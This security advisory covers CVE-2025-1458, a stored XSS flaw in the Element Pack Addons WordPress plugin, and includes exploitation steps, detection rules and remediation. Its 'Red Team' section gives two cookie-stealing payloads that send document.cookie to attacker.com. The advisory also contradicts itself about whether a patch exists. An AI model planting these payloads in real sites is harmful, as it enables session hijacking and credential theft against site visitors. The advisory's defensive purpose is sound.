CVE-2025-1458

Executive Summary

CVE-2025-1458 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Element Pack Addons for Elementor WordPress plugin, versions up to and including 5.10.29. This plugin provides free templates and widgets for Elementor page builder. The vulnerability exists in several widgets, including Dual Button, Creative Button, and Image Stack, due to insufficient input sanitization and output escaping. Authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts that execute when any user visits an affected page. The CVSS score is 6.4 (Medium), and no public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for unauthorized updates. The plugin is not an NPM, PyPI, Go, or Ruby package, but its inclusion in WordPress sites introduces supply chain risk if compromised.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact may extend to other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for authenticated access and user interaction. However, the potential for stored XSS can lead to session hijacking, defacement, or phishing attacks.

Deep Dive & Mechanics

The vulnerability stems from improper handling of user input in several Element Pack widgets. When a Contributor-level user creates or edits a page using the affected widgets, the plugin fails to sanitize input fields (e.g., button text, image URLs) and does not escape output when rendering the page. This allows an attacker to inject malicious JavaScript that is stored in the WordPress database and executed in the browser of any visitor viewing the page.

The attack flow:

1. Attacker logs in with Contributor privileges.
2. Attacker creates a new page or edits an existing one using a vulnerable widget (e.g., Dual Button).
3. Attacker inserts a payload like <script>alert('XSS')</script> into an input field.
4. The plugin stores the payload without sanitization.
5. When a victim visits the page, the script executes in their browser context.

The vulnerability affects multiple widgets, increasing the attack surface. The lack of output escaping means that even if input is stored safely, the rendering process does not neutralize the script.

Vulnerable vs. Patched Code

Vulnerable Code (example from Dual Button widget):

// In a vulnerable version, the button text is output directly without escaping
echo '<span class="dual-button-text">' . $settings['button_text'] . '</span>';

Patched Code (expected fix):

// Proper escaping using WordPress functions
echo '<span class="dual-button-text">' . esc_html( $settings['button_text'] ) . '</span>';

The patched version would use esc_html(), esc_attr(), or wp_kses_post() to sanitize and escape output. Since no official patch is available, users must manually apply similar escaping or disable the plugin.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Element Pack Addons <= 5.10.29
• Contributor-level account

Steps:

1. Log in as Contributor.
2. Create a new page and add a Dual Button widget.
3. In the "Button Text" field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
4. Publish the page.
5. When an admin or visitor views the page, the script executes, exfiltrating cookies.

Example Payload:

<script>new Image().src='https://attacker.com/log?data='+document.cookie;</script>

Blue Team (Detection & Mitigation)

Detection:

• Monitor for Contributor-level users creating pages with unusual HTML/JavaScript in widget fields.
• Use WAF rules to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php or page creation endpoints.

Mitigation:

• Temporarily disable the Element Pack Addons plugin until a patch is released.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Restrict Contributor-level permissions to trusted users only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from WordPress admin pages.
• File: Modified page content in the wp_posts table containing <script> tags.
• Log: WordPress debug log entries showing unexpected JavaScript execution.
• Process: Browser console errors related to cross-origin requests.

Example IOC in database:

SELECT post_content FROM wp_posts WHERE post_content LIKE '%<script>%';

Detection Engineering

YARA Rule

rule Detect_Element_Pack_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Element Pack Addons plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1458"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Element Pack Addons
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in Element Pack Addons plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=element_pack_ajax'
    keywords:
        - '<script>'
        - 'onerror='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in page content
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1458 Stored XSS in Element Pack Addons"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=element_pack_ajax"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Element Pack Addons plugin until a patch is released.
2. Short-term: Restrict Contributor-level accounts to only trusted users. Implement Content Security Policy (CSP) headers to block inline scripts.
3. Long-term: Apply the official patch when available. Update to version 5.10.30 or later.
4. Monitoring: Enable WordPress audit logging to track page edits. Use a WAF to filter XSS payloads.
5. Backup: Regularly backup the WordPress database to restore clean content if compromised.

Valters IT
DevSecOps & Cyber Threat Intelligence